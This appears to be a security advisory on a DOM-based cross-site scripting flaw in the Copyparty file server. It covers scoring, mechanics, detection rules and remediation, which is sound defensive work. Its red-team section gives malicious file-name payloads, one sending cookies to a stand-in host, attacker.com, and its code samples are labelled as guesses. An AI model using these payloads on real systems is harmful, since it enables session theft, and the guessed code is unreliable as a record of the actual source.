CVE-2025-27145

Executive Summary

CVE-2025-27145 is a DOM-based Cross-Site Scripting (XSS) vulnerability affecting Copyparty, a portable file server, in versions prior to 1.16.15. The vulnerability is triggered when a user drags and drops a maliciously-named, zero-byte file into the Copyparty Web-UI. The attack requires user interaction (tricking a victim into dragging a file) and is considered low-risk due to the specific conditions needed for exploitation. Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's session, potentially leading to unauthorized read-access to files owned by that user. The fix is included in version 1.16.15.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Copyparty file server software. The risk is limited to users who interact with malicious files via drag-and-drop.

CVSS Breakdown & Threat Level

• CVSS Score: 3.6 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
• Attack Vector (AV): Network (N) – The attack can be initiated remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must drag a file.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited read access to files.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Low. Exploitation requires social engineering and specific user actions.

Deep Dive & Mechanics

The vulnerability is a DOM-based XSS that occurs during the drag-and-drop file upload process in Copyparty. When a user drags a file into the Web-UI, the application processes the file name without proper sanitization. If the file name contains malicious JavaScript code, it is executed in the browser's DOM context. The file must be empty (zero bytes) to trigger the bug, as the application likely checks file size before processing the name. The attack does not require the upload to complete; the drag action alone is sufficient.

The root cause is the lack of input validation on file names during the drag-and-drop event. The application likely uses innerHTML or similar DOM manipulation to display the file name, allowing script injection.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.16.15): The vulnerable code likely processes the file name from the drag-and-drop event and inserts it into the DOM without sanitization. For example:

// Vulnerable: Directly sets innerHTML with file name
document.getElementById('fileList').innerHTML += '<div>' + file.name + '</div>';

Patched Code (1.16.15): The patched version sanitizes the file name before DOM insertion, likely using textContent or encoding:

// Patched: Uses textContent to prevent XSS
var div = document.createElement('div');
div.textContent = file.name;
document.getElementById('fileList').appendChild(div);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Copyparty instance running version < 1.16.15.
• A victim user with access to the Web-UI.
• A malicious file with a name containing JavaScript payload.

Exploitation Steps:

1. Create a zero-byte file with a malicious name, e.g., <img src=x onerror=alert(document.cookie)>.txt.
2. Trick the victim into dragging this file into the Copyparty Web-UI.
3. The JavaScript executes in the victim's browser, potentially exfiltrating cookies or performing actions on their behalf.

Example Payload:

// File name: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>.txt

Blue Team

Detection:

• Monitor for unusual file names containing HTML/JavaScript characters (e.g., <, >, onerror).
• Alert on drag-and-drop events that trigger file uploads with zero-byte files.
• Use browser security headers (e.g., Content-Security-Policy) to mitigate XSS.

Hunting:

• Review web server logs for file names containing script tags.
• Analyze network traffic for outbound connections from the Copyparty server to unknown domains.

Indicators of Compromise (IOCs)

• File Names: Files containing <, >, onerror, onload, javascript: in their names.
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the victim's browser.
• Log Entries: Web server logs showing file names with HTML/JavaScript characters.

Detection Engineering

YARA Rule

rule CVE_2025_27145_XSS_File_Name {
    meta:
        description = "Detects malicious file names used in CVE-2025-27145"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-27145"
    strings:
        $xss1 = /<[^>]*onerror[^>]*>/i
        $xss2 = /<[^>]*onload[^>]*>/i
        $xss3 = /javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-27145 - DOM XSS via Malicious File Name
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects file names with XSS payloads in Copyparty logs
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: copyparty
detection:
    selection:
        file_name|contains:
            - '<'
            - '>'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate file names with special characters
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27145 - DOM XSS via Malicious File Name"; flow:to_server; content:"filename"; nocase; pcre:"/<[^>]*onerror[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Copyparty to version 1.16.15 or later.
2. Implement Content-Security-Policy (CSP) headers to restrict script execution.
3. Educate users about the risks of dragging untrusted files into the Web-UI.

Long-Term Measures:

• Conduct code review to ensure all user inputs are sanitized before DOM insertion.
• Use textContent instead of innerHTML for dynamic content.
• Implement input validation for file names on the server side.

Workarounds:

• Disable drag-and-drop functionality if not required.
• Use a web application firewall (WAF) to filter malicious file names.

Valters IT